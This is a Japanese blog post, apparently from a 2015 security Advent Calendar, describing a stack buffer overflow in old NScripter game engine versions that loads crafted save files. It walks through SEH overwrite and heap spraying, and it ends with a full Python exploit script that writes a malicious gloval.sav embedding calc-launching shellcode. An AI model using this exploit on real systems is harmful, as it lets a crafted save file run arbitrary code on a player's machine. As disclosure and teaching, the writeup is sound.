NScripterの脆弱性

[脆弱性&quot;&amp;&#39;&lt;&lt;&gt;\ Advent Calendar 2015](http://www.adventar.org/calendars/811) 4日目の記事。

[NScripter](http://www.nscripter.com/)の旧バージョンに存在した脆弱性。細工されたセーブデータを読み込むと任意のコードを実行される可能性がある。

### セーブデータの構造と脆弱性の種類

```text:00.txt
*define
globalon
game

*start
mov %200,1
mov $200,"ほげ"
mov %201,2
mov $201,"ふが"
end
```

例えばこのようなスクリプトで、数値変数`%200`と`%201`に`1`と`2`を、文字列変数`$200`と`$201`に`あああ`と`いいい`を書き込むと、gloval.savは次のようになる。

![image](https://qiita-image-store.s3.amazonaws.com/0/25276/7e8de69d-36c9-2d4f-3b77-35794005643b.png)

構造はとても簡潔で、グローバル変数（デフォルトでは200以降）が、数値、文字列、数値、文字列、…という順番で並んでいるだけ、数値は4バイトリトルエンディアン、文字列はNULL終端文字列。

脆弱性は単なるスタックバッファオーバーフローで、この文字列の長さを1100バイトくらいにすると、gloval.savの読み込み時にプログラムが落ちる。

### 攻撃の方法について

スタックの値を0x00以外の任意の値にすることができるので、簡単に攻撃できるかと思いきや、なかなか難しい。

まずは、[リターンアドレスの上書き](https://www.ipa.go.jp/security/awareness/vendor/programmingv1/b06_01.html)が思いつくが、NScripterの場合は、ExitProcessによってプログラムを終了していて、この脆弱性で破壊できる位置までスタックが戻ることがない。

リターンアドレスの上書き以外の攻撃手段として、SEHオーバーライトがある。[このサイト](http://programming.jugglershu.net/study/seh.html)が詳しい。要はSEHハンドラを`pop;pop;ret;`のアドレスに書き換えれば良い。

NScripter.exe中にも`pop;pop;ret;`が存在するけれど、NScripter.exeの存在するアドレスには先頭バイトが`0x00`。これについては、変数が何個もあり、スタックバッファーオーバーフローを何かも起こせるので、2回に分けて書き込めば良い。例えば、`01 01 40 00 12 34 56 78`という値をスタックに書き込みたい場合、一度目は`ff ff ff ff 12 34 56 78 00`を書き込み、二度目で`01 01 40 00`を書き込む。ただし、SEHオーバーライドを発動させるためには何らかの例外を起こす必要がある。NScripterの場合は、（たぶん）大量のデータを書き込むしかない。この方法だと、大量のデータを書き込んだ時点でせっかくスタックに書き込んだ`0x00`が潰れてしまう。そもそも、NScripter.exeは[SafeSEH](http://programming.jugglershu.net/study/seh.html#SafeSEH)が有効になっているので、例外ハンドラ以外の場所には飛べない。

ということで、ヒープに`nop;nop;…;nop;pop;pop;ret;`というデータを用意して、そこに飛ばすしかない。NScripterの場合はgloval.savから読み込まれる変数がデフォルトでは(4096-200)個あるので、こういう文字列を3895個読み込ませ、最後にSEHオーバーライドで、`0x03010101`とか`0x04010101`あたりに飛ばすと運が良いとシェルコードが動く。

ただし、これが通用するのはWindows7まで。Windows7ではヒープは小さいアドレスから順に確保されていくが、Windows8ではランダム化されているので当たる確率が大きく下がる。また、Windows8では[SEHOP](http://programming.jugglershu.net/study/seh.html#SEHOP)が有効になっていて、SEHチェインが壊れていると、SEHの処理が実行されない。[exe単位でレジストリで無効にすることはできる](http://inaz2.hatenablog.com/entry/2015/07/13/011758)。セキュリティも強化されているのでWindowsはなるべく新しいものを使おう。

### そもそも脆弱性なのだろうか？

たいていのゲームエンジンにはOSコマンドを実行する機能があるだろうから、シナリオスクリプトを上書きして任意のコードが実行できるのは当たり前で、脆弱性にはならない気がする。そう考えると、セーブデータを上書きして任意のコードが実行できるというのは脆弱性なのかどうか微妙なラインだと思う。ネットで拾ったセーブデータを読み込ませるとか、作者の想定していないような使い方をするときは、重要なマシンでは実行しないなどユーザーが気をつけるべきなのかもしれない。

### Exploit

最後にSEHオーバーライドする文字列の末尾にさらに文字列をつけて、例外を起こしている。

```py:exploit.py
# Address of pop; pop; ret;
#p2ret = 0x01010101
#p2ret = 0x02010101
#p2ret = 0x03010101
p2ret = 0x04010101

import struct

# Shell code
# http://code.google.com/p/win-exec-calc-shellcode/
shell = ("31f656648b76308b760c8b761c8b6e08"
         "8b368b5d3c8b5c1d7801eb8b4b1867e3"
         "ec8b7b2001ef8b7c8ffc01ef31c09932"
         "1766c1ca01ae75f76681fa10f5e0e275"
         "cc8b532401ea0fb7144a8b7b1c01ef03"
         "2c97682e6578656863616c6354870424"
         "50ffd5"+
         "33c0"+            # xor eax,eax
         "33c9"+            # xor ecx,ecx
         "49"+              # dec ecx
         "648908"+          # mov fs:[eax],ecx
         "cc"               # int3
         ).decode("hex")

def p(n): return struct.pack("<I", n)

f = open("gloval.sav", "wb")

d = ""
d += p(0)
d += "\x90"*0x1000
d += "\x58\x58\xc3\x00"     # pop eax; pop eax; ret;
for i in range(200,4096-1):
    f.write(d)

d = ""
d += p(0)
d += "a"*0x408
d += p(0x909006eb)          # jmp +6
d += p(p2ret)
d += shell
d += "a"*0x1000
f.write(d)
```